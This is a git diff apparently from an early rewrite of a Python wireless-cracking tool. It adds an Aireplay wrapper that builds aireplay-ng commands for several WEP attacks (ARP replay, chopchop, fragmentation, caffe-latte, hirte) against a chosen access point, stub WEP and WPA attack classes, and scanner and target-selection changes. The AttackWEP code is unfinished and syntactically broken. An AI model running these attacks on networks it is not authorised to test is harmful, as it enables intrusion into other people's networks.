diff --git a/py/Aireplay.py b/py/Aireplay.py new file mode 100644 index 0000000..b5415c5 --- /dev/null +++ b/py/Aireplay.py @@ -0,0 +1,106 @@ +#!/usr/bin/python + +from Configuration import Configuration +from Process import Process + +class WEPAttackType(object): + ''' Enumeration of different WEP attack types ''' + replay = 0 + chopchop = 1 + fragmentation = 2 + caffelatte = 3 + p0841 = 4 + hirte = 5 + + +class Aireplay(object): + def __init__(self): + self.pid = None # Process instance for aireplay-ng + self.attack_type = None + + def run_wep_attack(self, target, attack_type): + ''' Starts aireplay process ''' + cmd = self.get_aireplay_command(target, attack_type) + if self.pid and self.pid.poll() != None: + # Aireplay is already running, kill it + self.pid.interrupt() + self.pid = Process(cmd, devnull=True) + + def stop_wep_attack(self): + ''' Stops aireplay process ''' + if self.pid and self.pid.poll() != None: + self.pid.interrupt() + + def get_aireplay_command(self, target, attack_type): + ''' Generates aireplay command based on target and attack type ''' + cmd = ['aireplay-ng'] + cmd.append('--ignore-negative-one') + client_mac = None + if len(target.clients) > 0: + client_mac = target.clients[0].station + + if attack_type == WEPAttackType.replay: + cmd.append('--arpreplay') + cmd.extend(['-b', target.bssid]) + cmd.extend(['-x', str(Configuration.wep_pps)]) + if client_mac: + cmd.extend(['-h', client_mac]) + + elif attack_type == WEPAttackType.chopchop: + cmd.append('--chopchop') + cmd.extend(['-b', target.bssid]) + cmd.extend(['-x', str(Configuration.wep_pps)]) + cmd.extend(['-m', '60']) # Minimum packet length (bytes) + cmd.extend(['-n', '82']) # Maximum packet length + cmd.extend(['-F']) # Automatically choose first packet + if client_mac: + cmd.extend(['-h', client_mac]) + + elif attack_type == WEPAttackType.fragmentation: + cmd.append('--fragment') + cmd.extend(['-b', target.bssid]) + cmd.extend(['-x', str(Configuration.wep_pps)]) + cmd.extend(['-m', '100']) # Minimum packet length (bytes) + cmd.extend(['-F']) # Automatically choose first packet + if client_mac: + cmd.extend(['-h', client_mac]) + + elif attack_type == WEPAttackType.caffelatte: + cmd.append('--caffe-latte') + cmd.extend(['-b', target.bssid]) + if client_mac: + cmd.extend(['-h', client_mac]) + + elif attack_type == WEPAttackType.p0841: + cmd.append('--interactive') + cmd.extend(['-b', target.bssid]) + cmd.extend(['-c', 'ff:ff:ff:ff:ff:ff']) + cmd.extend(['-t', '1']) + cmd.extend(['-x', str(Configuration.wep_pps)]) + cmd.extend(['-F']) # Automatically choose first packet + cmd.extend(['-p', '0841']) + if client_mac: + cmd.extend(['-h', client_mac]) + + elif attack_type == WEPAttackType.hirte: + if client_mac == None: + # Unable to carry out hirte attack + raise Exception("Client is required for hirte attack") + cmd.append('--cfrag') + cmd.extend(['-h', client_mac]) + + cmd.append(Configuration.interface) + return cmd + + +if __name__ == '__main__': + Configuration.initialize() + + a = Aireplay() + + from Target import Target + fields = 'AA:BB:CC:DD:EE:FF, 2015-05-27 19:28:44, 2015-05-27 19:28:46, 1, 54, WPA2, CCMP TKIP,PSK, -58, 2, 0, 0. 0. 0. 0, 9, HOME-ABCD, '.split(',') + t = Target(fields) + + print ' '.join(a.get_aireplay_command(t, WEPAttackType.replay)) + diff --git a/py/Airodump.py b/py/Airodump.py index 599d3d2..8ecf40b 100644 --- a/py/Airodump.py +++ b/py/Airodump.py @@ -11,7 +11,7 @@ import os class Airodump(object): ''' Wrapper around airodump-ng program ''' - def __init__(self, interface=None, channel=None, encryption=None, wps=False): + def __init__(self, interface=None, channel=None, encryption=None, wps=False, target_bssid=None, output_file_prefix='airodump'): ''' Constructor, sets things up ''' Configuration.initialize() @@ -31,6 +31,9 @@ class Airodump(object): self.encryption = encryption self.wps = wps + self.target_bssid = target_bssid + self.output_file_prefix = output_file_prefix + def __enter__(self): ''' Setting things up for this context. @@ -38,7 +41,7 @@ class Airodump(object): ''' self.delete_airodump_temp_files() - self.csv_file_prefix = Configuration.temp() + "airodump"; + self.csv_file_prefix = Configuration.temp() + self.output_file_prefix # Build the command command = [ @@ -53,6 +56,8 @@ class Airodump(object): command.extend(['--enc', self.encryption]) if self.wps: command.extend(['--wps']) + if self.target_bssid: + command.extend(['--bssid', self.target_bssid]) # Start the process self.pid = Process(command, devnull=True) @@ -73,7 +78,7 @@ class Airodump(object): def delete_airodump_temp_files(self): ''' Deletes airodump* files in the temp directory ''' for fil in os.listdir(Configuration.temp()): - if fil.startswith('airodump'): + if fil.startswith(self.output_file_prefix): os.remove(Configuration.temp() + fil) def get_targets(self, wpa_wep_only=True): @@ -81,7 +86,7 @@ class Airodump(object): # Find the .CSV file csv_filename = None for fil in os.listdir(Configuration.temp()): - if fil.startswith('airodump') and fil.endswith('csv'): + if fil.startswith(self.output_file_prefix) and fil.endswith('csv'): # Found the file csv_filename = Configuration.temp() + fil break diff --git a/py/Attack.py b/py/Attack.py new file mode 100644 index 0000000..ca1b368 --- /dev/null +++ b/py/Attack.py @@ -0,0 +1,9 @@ +#!/usr/bin/python + +class Attack(object): + def __init__(self, target): + self.target = target + + def run(self): + raise Exception("Unimplemented method: run") + diff --git a/py/AttackWEP.py b/py/AttackWEP.py new file mode 100644 index 0000000..17f9d90 --- /dev/null +++ b/py/AttackWEP.py @@ -0,0 +1,33 @@ +#!/usr/bin/python + +from Attack import Attack + +import time + +class AttackWEP(Attack): + def __init__(self, target): + super(AttackWEP, self).__init__(target) + + def run(self): + start_time = time.time() + # First, start Airodump process + with Airodump(channel=target.channel, + target_bssid=self.target.bssid, + output_file_prefix='wep') + as airodump: + + while len(airodump.targets) == 0: + # Target has not appeared in airodump yet + # Wait for it to appear + if int(time.time() - start_time) > 10: + # Target didn't appear after 10 seconds, drop out + print "Target did not show after 10 seconds, stopping" + return None + time.sleep(1) + continue + + airodump_target = airodump.targets[0] + + # Fake authenticate + #aireplay = Aireplay() + diff --git a/py/AttackWPA.py b/py/AttackWPA.py new file mode 100644 index 0000000..89b4847 --- /dev/null +++ b/py/AttackWPA.py @@ -0,0 +1,11 @@ +#!/usr/bin/python + +from Attack import Attack + +class AttackWPA(Attack): + def __init__(self, target): + super(AttackWPA, self).__init__(target) + + def run(self): + raise Exception("TODO: Crack WPA") + diff --git a/py/Process.py b/py/Process.py index e8f751c..c10e23a 100644 --- a/py/Process.py +++ b/py/Process.py @@ -36,9 +36,13 @@ class Process(object): def __init__(self, command, devnull=False): ''' Starts executing command ''' + if type(command) == str: # Commands have to be a list command = command.split(' ') + + self.command = command + self.out = None self.err = None if devnull: @@ -49,6 +53,14 @@ class Process(object): serr = PIPE self.pid = Popen(command, stdout=sout, stderr=serr) + def __del__(self): + ''' + Ran when object is GC'd. + If process is still running at this point, it should die. + ''' + if self.pid and self.pid.poll() == None: + self.interrupt() + def stdout(self): ''' Waits for process to finish, returns stdout output ''' self.get_output() @@ -60,7 +72,7 @@ class Process(object): return self.err def get_output(self): - ''' Waits for process to finish, returns stdout & stderr ''' + ''' Waits for process to finish, sets stdout & stderr ''' if self.pid.poll() == None: self.pid.wait() if self.out == None: @@ -116,3 +128,7 @@ if __name__ == '__main__': print '"reaver" exists:', Process.exists('reaver') + # Test on never-ending process + p = Process('yes') + # After program loses reference to instance in 'p', process dies. + diff --git a/py/Scanner.py b/py/Scanner.py index aab4524..fb6ab81 100644 --- a/py/Scanner.py +++ b/py/Scanner.py @@ -20,12 +20,29 @@ class Scanner(object): ''' self.previous_target_count = 0 self.targets = [] + # Loads airodump with interface/channel/etc from Configuration with Airodump() as airodump: try: + # Loop until interrupted (Ctrl+C) while True: - client_count = sum([len(t.clients) for t in self.targets]) - Color.p("\r {+} Scanning, found {G}%d{W} target(s), {G}%d{W} clients" % (len(self.targets), client_count)) + + if airodump.pid.poll() != None: + # Airodump process died! + raise Exception( + "Airodump exited unexpectedly! " + + "Command ran: %s" + % ' '.join(airodump.pid.command)) + + target_count = len(self.targets) + client_count = sum( + [len(t.clients) + for t in self.targets]) + Color.p( + "\r {+} Scanning, " + + "found {G}%d{W} target(s)," % target_count + + " {G}%d{W} clients" % client_count + + ". {O}Ctrl+C{W} when ready") sleep(1) self.targets = airodump.get_targets() self.print_targets() @@ -38,6 +55,7 @@ class Scanner(object): Prints targets to console ''' if len(self.targets) == 0: + Color.p('\r') return if self.previous_target_count > 0: @@ -56,10 +74,21 @@ class Scanner(object): def select_targets(self): ''' Asks user to select target(s) ''' + + if len(self.targets) == 0: + # TODO Print a more-helpful reason for failure. + # 1. Link to wireless drivers wiki, + # 2. How to check if your device supporst monitor mode, + # 3. Provide airodump-ng command being executed. + raise Exception("No targets found." + + " You may need to wait longer," + + " or you may have issues with your wifi card") + self.print_targets() input_str = '{+} Select target(s)' input_str += ' ({G}1-%d{W})' % len(self.targets) - input_str += ' separated by commas, or {G}all{W}: ' + input_str += ' separated by commas, dashes' + input_str += ' or {G}all{W}: ' chosen_targets = [] for choice in raw_input(Color.s(input_str)).split(','): @@ -75,9 +104,15 @@ class Scanner(object): if __name__ == '__main__': + Configuration.initialize() # Example displays targets and selects the appropriate one - s = Scanner() - targets = s.select_targets() + try: + s = Scanner() + targets = s.select_targets() + except Exception, e: + Color.pl('\r {!} {R}Error{W}: %s' % str(e)) + Configuration.exit_gracefully(0) for t in targets: Color.p("{W}Selected: ") print t + Configuration.exit_gracefully(0) diff --git a/py/Target.py b/py/Target.py index d7f692b..2a91181 100644 --- a/py/Target.py +++ b/py/Target.py @@ -115,6 +115,7 @@ class Target(object): result = '%s %s %s %s %s %s' % (essid, channel, encryption, power, wps, clients) + result += Color.s("{W}") return result @staticmethod